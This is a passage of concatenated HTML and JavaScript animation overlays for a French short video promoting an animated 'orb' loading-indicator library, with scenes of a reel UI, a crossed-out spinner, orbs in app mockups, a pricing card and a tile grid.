  $('progi').style.width = (62 + 3 * t) + '%';

  // comment icon press + the count rolls when the comment is posted
  $('comsvg').style.transform = `scale(${1 - .18 * pressAt(t, TAP_COM)})`;
  const roll = out(seg(t, T_POST + .02, T_POST + .16));
  $('cc0').style.transform = `translateY(${-17 * roll}px)`; $('cc0').style.opacity = 1 - roll;
  $('cc1').style.transform = `translateY(${17 * (1 - roll)}px)`; $('cc1').style.opacity = roll;

  // follow: tapped on « suis », Suivre turns into a grey Abonné(e) with a check, the button widens
  const fp = pressAt(t, TAP_FOL), fq = S(t - (TAP_FOL + .03), 22);
  $('follow').style.width = lerp(FW0, FW1, fq) + 'px';
  $('follow').style.transform = `scale(${1 - .07 * fp})`;
  $('follow').querySelector('.fb').style.opacity = 1 - fq;
  $('follow').querySelector('.fg').style.opacity = fq;
  $('fl0').style.opacity = clamp(1 - fq * 2.2); $('fl0').style.transform = `translateY(${-5 * fq}px)`;
  $('fl1').style.opacity = clamp(fq * 1.6 - .4); $('fl1').style.transform = `translateY(${5 * (1 - fq)}px)`;

  // sheet slides up over the bottom of the reel (the face stays in the clear), a 6 % dim on the reel, down on « du »
  const ps = SV(t - T_SHEET, 22, .6) * (1 - io(seg(t, T_SHEET_OUT, T_SHEET_OUT + .26)));
  $('sheet').style.transform = `translateY(${(1 - ps) * 270}px)`; show($('sheet'), ps);
  $('dim').style.opacity = .06 * ps; show($('dim'), ps);
  const hq = S(t - (T_SHEET + .05), 24);
  $('stitle').style.opacity = hq; $('splane').style.opacity = hq;

  // new comment: the list slides down and the viewer's row fills the slot
  const pn = SV(t - T_POST, 22, .5);
  oldRows.forEach((r, i) => {
    const q = S(t - (T_SHEET + .06 + i * .03), 24);
    r.style.top = (LIST_TOP + (i + pn) * ROW_H + (1 - q) * 14) + 'px'; r.style.opacity = q;
  });
  newRow.style.display = t >= T_POST ? '' : 'none';
  newRow.style.top = LIST_TOP + 'px'; newRow.style.opacity = clamp((pn - .08) / .45);
  newRow.style.clipPath = `inset(0 0 ${(1 - pn) * ROW_H}px 0)`;
  newRow.style.transform = `scale(${.97 + .03 * pn})`; newRow.style.transformOrigin = '20% 0%';
  newRow.querySelector('.hl').style.opacity = clamp(pn * 2);

  // field: focused as the sheet lands, « ORBES » typed letter by letter, Publier lights up, cleared after the post
  const focused = t >= T_SHEET + .14 && t < TAP_PUB + .02, cleared = t >= TAP_PUB + .03;
  let n = 0;
  letters.forEach((s, i) => {
    const on = t >= TYPE[i] && !cleared; if (on) n++;
    const q = S(t - TYPE[i], 45);
    s.style.display = on ? '' : 'none'; s.style.transform = `translateY(${(1 - q) * 3}px)`; s.style.opacity = .3 + .7 * q;
  });
  $('ph').style.display = n ? 'none' : '';
  $('caret').style.opacity = focused ? 1 : 0;
  $('ph').style.left = (focused ? 18 : 15) + 'px';
  $('field').style.borderColor = focused ? '#c7c7c7' : '#dbdbdb';
  const pon = cleared ? 0 : SV(t - T_PUB_ON, 26, .8), pp = pressAt(t, TAP_PUB);
  $('pub').style.opacity = (.35 + .65 * pon) * (1 - .45 * pp);
  $('pub').style.transform = `scale(${1 - .08 * pp})`;

  // DM banner: drops on « le », its GitHub link line opens on « repo », then holds
  const b = SV(t - T_BAN, 16, .6), lq = S(t - T_LINK, 30);
  // the status bar and the Reels header step aside under the banner
  ['status', 'rtitle', 'rcam'].forEach(id => { $(id).style.opacity = 1 - clamp(b * 1.6); });
  show($('ban1'), b);
  $('ban1').style.height = lerp(BH0, BH1, lq) + 'px';
  $('ban1').style.transform = `translateY(${-120 * (1 - b)}px) scale(${.97 + .03 * b})`;
  $('ban1').style.opacity = clamp(b * 3);
  $('blink').style.opacity = lq; $('blink').style.transform = `translateY(${6 * (1 - lq)}px)`;

  // finger dot + ripples
  const [cx, cy] = curAt(t);
  let press = 0; for (const a of TAPS) press = Math.max(press, pressAt(t, a));
  let vis = 0; for (const [a, bb, c, d] of VIS) vis = Math.max(vis, seg(t, a, bb) - seg(t, c, d));
  show($('dot'), vis);
  $('dot').style.transform = `translate(${cx}px,${cy}px) scale(${1 - .16 * press})`;
  $('dot').style.opacity = vis; $('dot').style.background = `rgba(255,255,255,${.32 + .3 * press})`;
  const rips = TAPS.filter(a => t >= a && t < a + .38).slice(-2);
  [0, 1].forEach(i => {
    const el = $('rip' + i), a = rips[i];
    if (a === undefined) { el.style.display = 'none'; return; }
    const p = out((t - a) / .38), [rx, ry] = curAt(a);
    el.style.display = ''; el.style.transform = `translate(${rx}px,${ry}px) scale(${.45 + .85 * p})`; el.style.opacity = .85 * (1 - p);
  });
  return true;
};
window.setT(0);
</script></body></html>

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<style>
  html, body { margin: 0; width: 1080px; height: 1920px; background: transparent; overflow: hidden; }
  * { box-sizing: border-box; }
  .abs { position: absolute; }
  .line { position: absolute; left: 0; width: 1080px; text-align: center; white-space: nowrap;
    font-family: "Bricolage Grotesque"; font-weight: 800; font-size: 112px; line-height: 1; color: #111111; letter-spacing: -2px; }
  .blue { color: #258EFF; }
  #l2 { display: flex; justify-content: center; align-items: center; }
  #spinWrap { position: relative; height: 92px; flex: none; overflow: visible; }
  #spin { position: absolute; left: 0; top: 0; width: 92px; height: 92px; }
  #strike { position: absolute; left: 0; top: 0; width: 92px; height: 92px; overflow: visible; }
  #hero { position: absolute; }
  .chip { position: absolute; height: 104px; overflow: hidden; transform-origin: 52px 52px; display: flex; align-items: center; gap: 14px; padding: 0 36px 0 16px;
    background: #FFFFFF; border: 2px solid #E6E6E6; border-radius: 999px; white-space: nowrap;
    box-shadow: 0 14px 30px rgba(17,17,17,0.10), 0 3px 6px rgba(17,17,17,0.06);
    font-family: "Bricolage Grotesque"; font-weight: 700; font-size: 42px; color: #111111; letter-spacing: -0.5px; }
  .chip canvas { width: 72px; height: 72px; flex: none; }
  .chip span { flex: none; }
</style>
</head>
<body>
<canvas id="hero" width="700" height="700"></canvas>

<div class="line" id="l1" style="top:96px">Ton spinner</div>
<div class="line" id="l2" style="top:214px">
  <div id="spinWrap">
    <svg id="spin" viewBox="-50 -50 100 100"></svg>
    <svg id="strike" viewBox="0 0 92 92"><line id="strikeLine" x1="6" y1="86" x2="86" y2="6" stroke="#111111" stroke-width="9" stroke-linecap="round"/></svg>
  </div>
  <span id="l2text">est <span class="blue">mort</span></span>
</div>

<div class="chip" id="c0"><canvas width="72" height="72"></canvas><span>Thinking</span></div>
<div class="chip" id="c1"><canvas width="72" height="72"></canvas><span>Searching</span></div>
<div class="chip" id="c2"><canvas width="72" height="72"></canvas><span>Agent listening</span></div>
<div class="chip" id="c3"><canvas width="72" height="72"></canvas><span>Solving</span></div>

<script src="orbs.js"></script>
<script>
(function () {
  // spring that never overshoots
  const S = (x, w) => x <= 0 ? 0 : 1 - (1 + w * x) * Math.exp(-w * x);
  const clamp = (v, a, b) => Math.min(b, Math.max(a, v));

  // ---------- hero orb: composing (ribbon) at its real logical size, the base profile's own spin
  const HERO = 700, HERO_CX = 540, HERO_CY = 690;
  const hero = document.getElementById('hero');
  hero.style.left = (HERO_CX - HERO / 2) + 'px';
  hero.style.top = (HERO_CY - HERO / 2) + 'px';
  const hctx = hero.getContext('2d');
  const heroPreset = ORBS.PRESETS.ribbon[64];
  const heroOpts = { ...ORBS.BASE_PROFILES.ribbon, bandMul: heroPreset.extra.bandMul, wobMul: heroPreset.extra.wobMul, spin: 1 };
  const HERO_T0 = 0.35; // pose offset so frame 0 already shows the band sweeping

  // ---------- chips: each with its own real preset-32 orb
  const chips = [
    { id: 'c0', state: 'breathing', at: 0.20, x: 48,  y: 410, side: -1 },
    { id: 'c1', state: 'searching', at: 0.55, x: null, r: 1032, y: 560, side: 1 },
    { id: 'c2', state: 'listening', at: 0.85, x: 48,  y: 790, side: -1 },
    { id: 'c3', state: 'solving',   at: 1.15, x: null, r: 1032, y: 920, side: 1 },
  ].map(c => {
    const el = document.getElementById(c.id);
    const cv = el.querySelector('canvas');
    return { ...c, el, label: el.querySelector('span'), ctx: cv.getContext('2d'), preset: ORBS.resolvePreset(c.state, 32) };
  });
  // measured on every setT: the width depends on the font, which the engine loads after the page script ran
  function place(c) {
    c.el.style.width = 'auto';
    c.w = c.el.offsetWidth;
    c.left = c.x != null ? c.x : c.r - c.w;
    c.el.style.left = c.left + 'px';
    c.el.style.top = c.y + 'px';
    c.cx = c.left + 52; c.cy = c.y + 52;
  }

  // ---------- classic grey spinner (12 spokes)
  const spin = document.getElementById('spin');
  let spokes = '';
  for (let i = 0; i < 12; i++) {
    spokes += `<rect x="-5" y="-44" width="10" height="26" rx="5" fill="#9A9A9A" transform="rotate(${i * 30})"/>`;
  }
  spin.innerHTML = spokes;
  const spokeEls = [...spin.children];
  const spinWrap = document.getElementById('spinWrap');
  const strikeLine = document.getElementById('strikeLine');
  const STRIKE_LEN = Math.hypot(80, 80);
  strikeLine.setAttribute('stroke-dasharray', STRIKE_LEN);
  const GAP = 26;

  function drawOrb(ctx, px, preset, t) {
    const k = px / 32;
    ctx.setTransform(k, 0, 0, k, 0, 0);
    ctx.clearRect(0, 0, 32, 32);
    ORBS.paintFrame(ctx, ORBS.MODE_FRAMES[preset.mode](32, t * preset.speed, preset.opts), false);
  }

  window.setT = function (t) {
    // hero orb, alive from frame 0
    hctx.setTransform(1, 0, 0, 1, 0, 0);
    hctx.clearRect(0, 0, HERO, HERO);
    ORBS.paintFrame(hctx, ORBS.MODE_FRAMES.ribbon(HERO, (t + HERO_T0) * heroPreset.speed, heroOpts), false);

    // each chip: an opaque round bubble holding its orb eases out of the big orb, then unrolls into a pill with its label
    for (const c of chips) {
      place(c);
      const p = S(t - c.at, 15);          // bubble
      const q = S(t - c.at - 0.07, 12);   // unroll
      const dx = (HERO_CX - c.cx) * 0.12 * (1 - p);
      const dy = (HERO_CY - c.cy) * 0.12 * (1 - p);
      const sc = 0.55 + 0.45 * p;
      c.el.style.width = (104 + (c.w - 104) * q).toFixed(2) + 'px';
      c.el.style.opacity = clamp(p * 3, 0, 1).toFixed(3);
      c.el.style.transform = `translate(${dx.toFixed(2)}px, ${dy.toFixed(2)}px) scale(${sc.toFixed(4)})`;
      c.el.style.visibility = p > 0.001 ? 'visible' : 'hidden';
      c.label.style.opacity = clamp((q - 0.25) / 0.6, 0, 1).toFixed(3);
      drawOrb(c.ctx, 72, c.preset, t + 0.6);
    }

    // spinner: turns, struck at 1.45, then shrinks away and the line recentres
    // smooth turn (a stepped one would read as jitter between frames); the fading tail is fixed to the spokes
    spokeEls.forEach((el, i) => el.setAttribute('opacity', (0.25 + 0.75 * i / 11).toFixed(2)));
    spin.style.transform = `rotate(${(t * 300).toFixed(2)}deg)`;
    const sp = S(t - 1.45, 16);
    strikeLine.setAttribute('stroke-dashoffset', (STRIKE_LEN * (1 - sp)).toFixed(2));
    strikeLine.style.opacity = sp > 0.001 ? 1 : 0;
    const shrink = S(t - 1.78, 14);
    const s = 1 - shrink;
    spinWrap.style.width = (92 * s).toFixed(2) + 'px';
    spinWrap.style.marginRight = (GAP * s).toFixed(2) + 'px';
    spinWrap.style.transform = `scale(${s.toFixed(4)})`;
    spinWrap.style.opacity = clamp(s * 1.5, 0, 1).toFixed(3);
    spinWrap.style.transformOrigin = '0 50%';
  };

  window.setT(0);
})();
</script>
</body>
</html>

<!doctype html>
<html><head><meta charset="utf-8">
<!-- Short 6.75-8.64 s: "(ton) app, prêt à poser dans ton site ou ton produit"
     Three destinations, a real orb dropped into each on its word: a chat app (Searching orb as the reply loader) at 0,
     a website hero button (orb as the spinner) at 1.08, a dashboard card "Generating report" at 1.53.
     Split layout: draws only in x 40-1040, y 60-1060. Every state is a pure function of t in window.setT(t). -->
<style>
  html, body { margin: 0; background: transparent; }
  body { width: 1080px; height: 1920px; overflow: hidden; -webkit-font-smoothing: antialiased; }
  #stage { position: absolute; left: 0; top: 0; width: 1080px; height: 1080px; overflow: hidden; }
  .ui { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif; color: #1F2328; }
  .card { position: absolute; left: 60px; width: 960px; height: 280px; background: #FFFFFF; border-radius: 32px; overflow: hidden;
    box-shadow: 0 30px 64px -22px rgba(40,28,10,.30), 0 10px 22px -8px rgba(40,28,10,.15), 0 1.5px 3px rgba(40,28,10,.11), 0 0 0 1.5px rgba(31,35,40,.05); }
  .lit { position: absolute; inset: 0; border-radius: inherit; pointer-events: none; box-shadow: inset 0 2.5px 0 rgba(255,255,255,.7);
    background: linear-gradient(180deg, rgba(255,255,255,0) 70%, rgba(60,44,20,.018) 100%); }
  #A { top: 104px; } #B { top: 432px; } #C { top: 760px; }
  .pill { position: absolute; right: 100px; height: 78px; padding: 0 32px; border-radius: 999px; background: #FFFFFF; display: flex; align-items: center;
    font-family: "Bricolage Grotesque"; font-weight: 800; font-size: 46px; letter-spacing: -.6px; color: #111111; white-space: nowrap; z-index: 5;
    box-shadow: 0 16px 30px -12px rgba(40,28,10,.32), 0 4px 10px -3px rgba(40,28,10,.16), 0 1px 2px rgba(40,28,10,.12), inset 0 2px 0 rgba(255,255,255,.8); }
  .pill b { color: #258EFF; font-weight: 800; margin-left: 13px; }
  #pA { top: 64px; } #pB { top: 392px; } #pC { top: 720px; }
  .abs { position: absolute; }
  .slot { position: absolute; border-radius: 50%; box-sizing: border-box; border: 4px dashed #C3C9D2; }
  canvas { position: absolute; display: block; }
  /* A: chat app */
  #bub { position: absolute; right: 40px; top: 66px; height: 84px; padding: 0 34px; border-radius: 42px 42px 12px 42px; background: #258EFF;
    color: #FFFFFF; font-size: 38px; font-weight: 500; display: flex; align-items: center; white-space: nowrap; }
  #oA { left: 34px; top: 66px; width: 180px; height: 180px; }
  #sA { left: 64px; top: 96px; width: 120px; height: 120px; }
  #thA { position: absolute; left: 236px; top: 192px; transform: translateY(-50%); font-size: 40px; font-weight: 600; color: #3A3A3A; white-space: nowrap; }
  /* B: browser */
  #chrome { position: absolute; left: 0; right: 0; top: 0; height: 84px; background: #F6F8FA; border-bottom: 2px solid #D1D9E0; }
  .dot { position: absolute; top: 34px; width: 18px; height: 18px; border-radius: 50%; }
  #url { position: absolute; left: 150px; top: 14px; width: 440px; height: 56px; border-radius: 28px; background: #FFFFFF; box-shadow: inset 0 0 0 2px #D1D9E0;
    display: flex; align-items: center; justify-content: center; gap: 10px; font-size: 34px; color: #3A3A3A; }
  #url img { width: 30px; height: 30px; }
  #h1 { position: absolute; left: 44px; top: 128px; font-size: 48px; font-weight: 800; letter-spacing: -.8px; color: #111111; white-space: nowrap; }
  #h2 { position: absolute; left: 44px; top: 192px; font-size: 34px; color: #59636E; white-space: nowrap; }
  #btn { position: absolute; right: 40px; top: 130px; width: 410px; height: 116px; border-radius: 58px; background: #111111;
    box-shadow: 0 10px 20px -8px rgba(17,17,17,.45), inset 0 1.5px 0 rgba(255,255,255,.12); }
  #oB { left: 12px; top: 8px; width: 100px; height: 100px; }
  #sB { left: 24px; top: 20px; width: 76px; height: 76px; border-color: rgba(255,255,255,.35); }
  #btT { position: absolute; left: 124px; top: 58px; transform: translateY(-50%); font-size: 38px; font-weight: 600; color: #FFFFFF; white-space: nowrap; }
  /* C: dashboard */
  #well { position: absolute; left: 36px; top: 32px; width: 216px; height: 216px; border-radius: 26px; background: #F6F8FA; box-shadow: inset 0 0 0 2px #E3E7EC; }
  #oC { left: 8px; top: 8px; width: 200px; height: 200px; }
  #sC { left: 43px; top: 43px; width: 130px; height: 130px; }
  #rep { position: absolute; left: 280px; top: 96px; transform: translateY(-50%); font-size: 46px; font-weight: 700; letter-spacing: -.5px; color: #111111; white-space: nowrap; }
  #repS { position: absolute; left: 280px; top: 150px; transform: translateY(-50%); font-size: 34px; color: #59636E; white-space: nowrap; }
  #bar { position: absolute; left: 280px; top: 198px; width: 620px; height: 16px; border-radius: 8px; background: #EAEEF2; overflow: hidden; }
  #fill { position: absolute; left: 0; top: 0; bottom: 0; border-radius: 8px; background: #258EFF; }
</style></head>
<body><div id="stage">
  <div class="card ui" id="A">
    <div id="bub">Résume ce PDF</div>
    <i class="slot" id="sA"></i><canvas id="oA" width="180" height="180"></canvas>
    <div id="thA">Searching</div>
    <i class="lit"></i>
  </div>
  <div class="pill" id="pA">ton<b>app</b></div>

  <div class="card ui" id="B">
    <div id="chrome"><i class="dot" style="left:34px;background:#FF5F57"></i><i class="dot" style="left:66px;background:#FEBC2E"></i><i class="dot" style="left:98px;background:#28C840"></i>
      <div id="url"><img src="../assets/icons/glyph/locked.png">tonsite.com</div></div>
    <div id="h1">Crée ton logo</div>
    <div id="h2">en un clic, avec l'IA</div>
    <div id="btn"><i class="slot" id="sB"></i><canvas id="oB" width="100" height="100"></canvas><div id="btT">Generate</div></div>
    <i class="lit"></i>
  </div>
  <div class="pill" id="pB">ton<b>site</b></div>

  <div class="card ui" id="C">
    <div id="well"><i class="slot" id="sC"></i><canvas id="oC" width="200" height="200"></canvas></div>
    <div id="rep">Generating report</div>
    <div id="repS">Ventes Q3, 12 sources</div>
    <div id="bar"><i id="fill"></i></div>
    <i class="lit"></i>
  </div>
  <div class="pill" id="pC">ton<b>produit</b></div>
</div>
<script src="orbs.js"></script>
<script>
const $ = id => document.getElementById(id);
const S = (x, w) => x <= 0 ? 0 : 1 - (1 + w * x) * Math.exp(-w * x);
const SD = (x, w, d) => Math.min(1, S(x, w) / S(d, w));   // spring that lands exactly at d seconds
const cl = (x, a = 0, b = 1) => Math.min(b, Math.max(a, x));

// real orbs, the 64 px preset (the size the library ships for UI), drawn at the canvas size
// dense = the base profile at a logical size (canvas / 1.4), the dense look of the demo site for the globe modes
function orb(id, state, t, dark, dense) {
  const c = $(id), ctx = c.getContext('2d'), r = ORBS.resolvePreset(state, 64);
  if (dense) { const S0 = c.width / 1.4; ctx.setTransform(1.4, 0, 0, 1.4, 0, 0); ctx.clearRect(0, 0, S0, S0);
    ORBS.paintFrame(ctx, ORBS.MODE_FRAMES[r.mode](S0, t * r.speed, { ...ORBS.BASE_PROFILES[r.mode] }), dark); return; }
  const k = c.width / 64; ctx.setTransform(k, 0, 0, k, 0, 0); ctx.clearRect(0, 0, 64, 64);
  ORBS.paintFrame(ctx, ORBS.MODE_FRAMES[r.mode](64, t * r.speed, r.opts), dark);
}
// an orb placed: drops from 46 px above, 1.12 -> 1, lands in .3 s, no bounce; the dashed slot fades as it lands
function drop(o, s, at, t) {
  const k = SD(t - at, 20, 0.3), el = $(o);
  el.style.opacity = Math.min(1, k * 2.2);
  el.style.transform = `translateY(${-46 * (1 - k)}px) scale(${1.12 - 0.12 * k})`;
  if (s) $(s).style.opacity = 1 - Math.min(1, k * 1.6);
  return k;
}
const pill = (id, at, t) => { const k = SD(t - at, 24, 0.24), el = $(id);
  el.style.opacity = Math.min(1, k * 1.8); el.style.transform = `translateY(${14 * (1 - k)}px) scale(${0.95 + 0.05 * k})`; };
const card = (id, at, t) => { const k = SD(t - at, 18, 0.34), el = $(id);
  el.style.opacity = Math.min(1, k * 1.6); el.style.transform = `translateY(${50 * (1 - k)}px)`; };

window.setT = function (t) {
  // A "app" 0: the chat card is there (fast settle), its Searching orb is placed right away
  const a = S(t + 0.06, 34); $('A').style.transform = `translateY(${(1 - a) * 14}px)`;
  pill('pA', -0.08, t);
  orb('oA', 'searching', t + 0.4, false, true);
  const ka = drop('oA', 'sA', -0.06, t);
  $('thA').style.opacity = Math.min(1, ka * 1.5) * (0.62 + 0.38 * (0.5 + 0.5 * Math.cos(t * 5.2)));

  // B: the browser slides in on "dans" .75 with an empty spinner slot; "site" 1.08: the orb drops into the button
  card('B', 0.75, t);
  orb('oB', 'solving', t + 0.2, true);
  const kb = drop('oB', 'sB', 1.08, t);
  $('btT').textContent = kb > 0.35 ? 'Generating' : 'Generate';
  pill('pB', 1.08, t);

  // C: the dashboard card slides in on "ou" 1.29; "produit" 1.53: the orb drops into its well, the report bar runs
  card('C', 1.29, t);
  orb('oC', 'composing', t + 0.7, false);
  drop('oC', 'sC', 1.53, t);
  pill('pC', 1.53, t);
  $('fill').style.width = (8 + 46 * SD(t - 1.6, 6, 0.6)) + '%';
};
window.setT(0);
</script>
</body></html>

<!doctype html>
<html><head><meta charset="utf-8">
<!-- Short time 21.66-23.18 (clip 1.60 s): "(dans un produit) payant sans rien demander à personne".
     A pricing card of a fictional SaaS plan: "Pro", 29 €/mois settles (0-.3), the features stagger in (.40 / .51 / .62),
     the AI row carries a real Thinking Orb (state working), the cursor clicks "Payer" on "demander" (.76) and the
     "En prod" pill lands with its check on "à personne" (1.02-1.11).
     Transparent 1080x1920 overlay. Draws only inside x 40-1040, y 60-1060. Every state is a pure function of t (setT). -->
<style>
  html, body { margin: 0; background: transparent; }
  body { width: 1080px; height: 1920px; overflow: hidden; -webkit-font-smoothing: antialiased; }
  #stage { position: absolute; left: 0; top: 0; width: 1080px; height: 1080px; overflow: hidden; }
  .bg { font-family: "Bricolage Grotesque"; color: #111111; }
  #card { position: absolute; left: 110px; top: 96px; width: 860px; height: 944px; box-sizing: border-box; background: #FFFFFF;
    border-radius: 44px; transform-origin: 50% 50%;
    box-shadow: 0 46px 80px -30px rgba(40,28,10,.30), 0 16px 32px -12px rgba(40,28,10,.16), 0 2px 5px rgba(40,28,10,.09), 0 0 0 1.5px rgba(40,28,10,.06); }
  #lit { position: absolute; inset: 0; border-radius: inherit; pointer-events: none;
    background: linear-gradient(180deg, rgba(255,255,255,.3) 0, rgba(255,255,255,0) 25%, rgba(60,44,20,0) 70%, rgba(60,44,20,.03) 100%);
    box-shadow: inset 0 2px 0 rgba(255,255,255,.6); }
  .abs { position: absolute; white-space: nowrap; }
  #plan { left: 64px; top: 58px; font-size: 80px; font-weight: 800; line-height: 1; letter-spacing: -1.5px; }
  #sub { left: 66px; top: 160px; font-size: 38px; font-weight: 500; color: #3A3A3A; line-height: 1; }
  #price { left: 60px; top: 222px; display: flex; align-items: baseline; gap: 18px; line-height: 1; }
  #price .n { font-size: 172px; font-weight: 800; letter-spacing: -6px; }
  #price .u { font-size: 58px; font-weight: 700; color: #3A3A3A; letter-spacing: -.5px; }
  #rule { left: 64px; right: 64px; top: 452px; height: 2px; background: #ECE8E0; }
  .row { position: absolute; left: 64px; height: 96px; display: flex; align-items: center; gap: 28px; font-size: 46px; font-weight: 600; white-space: nowrap; }
  .ic { width: 76px; height: 76px; flex: none; display: flex; align-items: center; justify-content: center; }
  .ic.orb { width: 104px; height: 104px; margin-left: -14px; margin-right: -2px; border-radius: 28px; background: #111111;
    box-shadow: 0 10px 20px -10px rgba(17,17,17,.5), inset 0 1.5px 0 rgba(255,255,255,.14); }
  #btn { position: absolute; left: 64px; right: 64px; top: 812px; height: 120px; border-radius: 30px; background: #111111;
    display: flex; align-items: center; justify-content: center; color: #FFFFFF; font-size: 50px; font-weight: 800; letter-spacing: -.5px;
    box-shadow: 0 14px 26px -12px rgba(17,17,17,.55), inset 0 2px 0 rgba(255,255,255,.12); transform-origin: 50% 50%; }
  #pill { position: absolute; right: 60px; top: 56px; height: 86px; box-sizing: border-box; padding: 0 30px 0 18px; border-radius: 999px;
    display: flex; align-items: center; gap: 12px; background: #EAF4FF; box-shadow: inset 0 0 0 3px #258EFF, 0 8px 18px -8px rgba(37,142,255,.45);
    font-size: 42px; font-weight: 800; color: #111111; transform-origin: 50% 50%; }
  #pill img { width: 58px; height: 58px; display: block; transform-origin: 50% 50%; }
  #cur { position: absolute; left: 0; top: 0; width: 58px; height: 84px; transform-origin: 6px 4px; }
</style></head>
<body><div id="stage">
  <div id="card" class="bg">
    <div id="lit"></div>
    <div class="abs" id="plan">Pro</div>
    <div class="abs" id="sub">Pour les équipes qui livrent</div>
    <div class="abs" id="price"><span class="n">29</span><span class="u">€/mois</span></div>
    <div class="abs" id="rule"></div>
    <div class="row" id="r0" style="top:476px;height:112px;gap:22px"><span class="ic orb"><canvas id="orb" width="104" height="104" style="width:104px;height:104px"></canvas></span>Assistant IA</div>
    <div class="row" id="r1" style="top:598px"><span class="ic"><svg width="48" height="48" viewBox="0 0 24 24" fill="none" stroke="#111111" stroke-width="2.6" stroke-linecap="round" stroke-linejoin="round"><path d="M4.5 12.5l5 5 10-11"/></svg></span>Projets illimités</div>
    <div class="row" id="r2" style="top:696px"><span class="ic"><svg width="48" height="48" viewBox="0 0 24 24" fill="none" stroke="#111111" stroke-width="2.6" stroke-linecap="round" stroke-linejoin="round"><path d="M4.5 12.5l5 5 10-11"/></svg></span>Support prioritaire</div>
    <div id="btn">Payer</div>
    <div id="pill"><img id="chk" src="../assets/icons/glyph/check.png"><span>En prod</span></div>
  </div>
  <!-- macOS arrow cursor -->
  <svg id="cur" viewBox="0 0 29 42"><path d="M3 2 L3 32 L10.2 25.4 L14.8 36.4 L19.6 34.4 L15 23.6 L25 23.6 Z" fill="#111111" stroke="#FFFFFF" stroke-width="2.6" stroke-linejoin="round"/></svg>
</div>
<script src="orbs.js"></script>
<script>
const $ = id => document.getElementById(id);
const S = (x, w) => x <= 0 ? 0 : 1 - (1 + w * x) * Math.exp(-w * x);
const cl = (x, a = 0, b = 1) => Math.min(b, Math.max(a, x));
const L = (a, b, k) => a + (b - a) * k;

const ctx = $('orb').getContext('2d');
const ORB = ORBS.resolvePreset('working', 64);
function drawOrb(t) {
  const k = $('orb').width / 64;
  ctx.setTransform(k, 0, 0, k, 0, 0); ctx.clearRect(0, 0, 64, 64);
  ORBS.paintFrame(ctx, ORBS.MODE_FRAMES[ORB.mode](64, t * ORB.speed, ORB.opts), true);
}

const CARD = { x: 110, y: 96 };
const BTN = { x: CARD.x + 430, y: CARD.y + 872 };            // centre of "Payer"
window.setT = function (t) {
  // the card is there on frame 0, .15 s settle
  const s0 = S(t, 36);
  $('card').style.transform = `translateY(${(1 - s0) * 14}px)`;
  const cy = (1 - s0) * 14;

  // "payant" 0 -> .3: the price settles
  const p = S(t, 17);
  $('price').style.opacity = Math.min(1, p * 1.5);
  $('price').style.transform = `translateY(${(1 - p) * 40}px)`;

  // "sans" .40 / .51 / "rien" .62: the features slide in from the left
  [0.40, 0.51, 0.62].forEach((at, i) => { const k = S(t - at, 18), e = $('r' + i);
    e.style.opacity = Math.min(1, k * 1.4); e.style.transform = `translateX(${(1 - k) * -30}px)`; });
  drawOrb(t);

  // "demander" .76: the cursor glides onto Payer from the lower right, presses at .76, releases
  const m = S(t - 0.44, 9);
  const cx = L(985, BTN.x + 160, m), cyy = L(924, BTN.y + 4, m) + cy;
  const press = S(t - 0.74, 40) - S(t - 0.84, 22);
  const cur = $('cur');
  cur.style.opacity = cl((t - 0.44) / 0.1);
  cur.style.transform = `translate(${cx}px, ${cyy}px) scale(${1 - 0.1 * press})`;
  const b = $('btn');
  b.style.transform = `scale(${1 - 0.025 * press})`;
  b.style.background = `rgb(${[17, 17, 17].map(c => Math.round(L(c, 52, press)))})`;

  // "à" 1.02 -> "personne" 1.11: the En prod pill lands, its check settles
  const q = S(t - 1.02, 20), pl = $('pill');
  pl.style.opacity = cl((t - 1.02) / 0.07);
  pl.style.transform = `translateY(${(1 - q) * -12}px) scale(${L(0.9, 1, q)})`;
  const c = S(t - 1.10, 20);
  $('chk').style.opacity = cl((t - 1.10) / 0.06);
  $('chk').style.transform = `scale(${L(0.55, 1, c)}) rotate(${(1 - c) * -25}deg)`;
};
window.setT(0);
</script>
</body></html>

<!doctype html>
<html><head><meta charset="utf-8">
<!-- Short 4.99-6.75 s: "...librairie d'orbes, une pour chaque état de ton app"
     The 9 real orbs of the library (3x3 white tiles, live), staggered in row by row, then a blue ring
     lights Searching, Thinking, Listening one after the other on "chaque état de ton". Paper alone: draws in x 40-1040, y 120-1280.
     Every state is a pure function of t in window.setT(t). -->
<style>
  html, body { margin: 0; background: transparent; }
  body { width: 1080px; height: 1920px; overflow: hidden; -webkit-font-smoothing: antialiased; }
  #stage { position: absolute; left: 0; top: 0; width: 1080px; height: 1300px; overflow: hidden; }
  .tile { position: absolute; width: 316px; height: 368px; border-radius: 34px; background: #FFFFFF; transform-origin: 50% 60%;
    box-shadow: 0 26px 52px -20px rgba(40,28,10,.26), 0 8px 18px -8px rgba(40,28,10,.14), 0 1.5px 3px rgba(40,28,10,.10); }
  .tile .lit { position: absolute; inset: 0; border-radius: inherit; box-shadow: inset 0 2.5px 0 rgba(255,255,255,.7);
    background: linear-gradient(180deg, rgba(255,255,255,0) 70%, rgba(60,44,20,.018) 100%); }
  .tile canvas { position: absolute; left: 30px; top: 22px; width: 256px; height: 256px; }
  .tile .lb { position: absolute; left: 0; right: 0; top: 296px; text-align: center; font-family: "Bricolage Grotesque"; font-weight: 800;
    font-size: 40px; letter-spacing: -.4px; color: #111111; white-space: nowrap; }
  .rg { position: absolute; inset: 0; border-radius: 34px; pointer-events: none;
    box-shadow: 0 0 0 10px #258EFF, 0 0 0 22px rgba(37,142,255,.18), 0 30px 60px -16px rgba(37,142,255,.35); }
</style></head>
<body><div id="stage"><div id="tiles"></div></div>
<script src="orbs.js"></script>
<script>
const $ = id => document.getElementById(id);
const S = (x, w) => x <= 0 ? 0 : 1 - (1 + w * x) * Math.exp(-w * x);
const cl = (x, a = 0, b = 1) => Math.min(b, Math.max(a, x));
const L = (a, b, k) => a + (b - a) * k;

// the 9 states of the library and their labels on orbs.jakubantalik.com
const ORB = [['working', 'Working'], ['searching', 'Searching'], ['solving', 'Solving'], ['listening', 'Listening'], ['connecting', 'Connecting'],
  ['weaving', 'Weaving'], ['composing', 'Composing'], ['breathing', 'Thinking'], ['shaping', 'Shaping']];
// draw choice per state, both the library geometry: 'L' = the base profile at a logical size (dense, like the demo site),
// 'P' = the 64 px preset scaled up (the shipped look; sparser modes read better this way)
const HOW = { searching: 'L', solving: 'L', listening: 'L', weaving: 'L' };
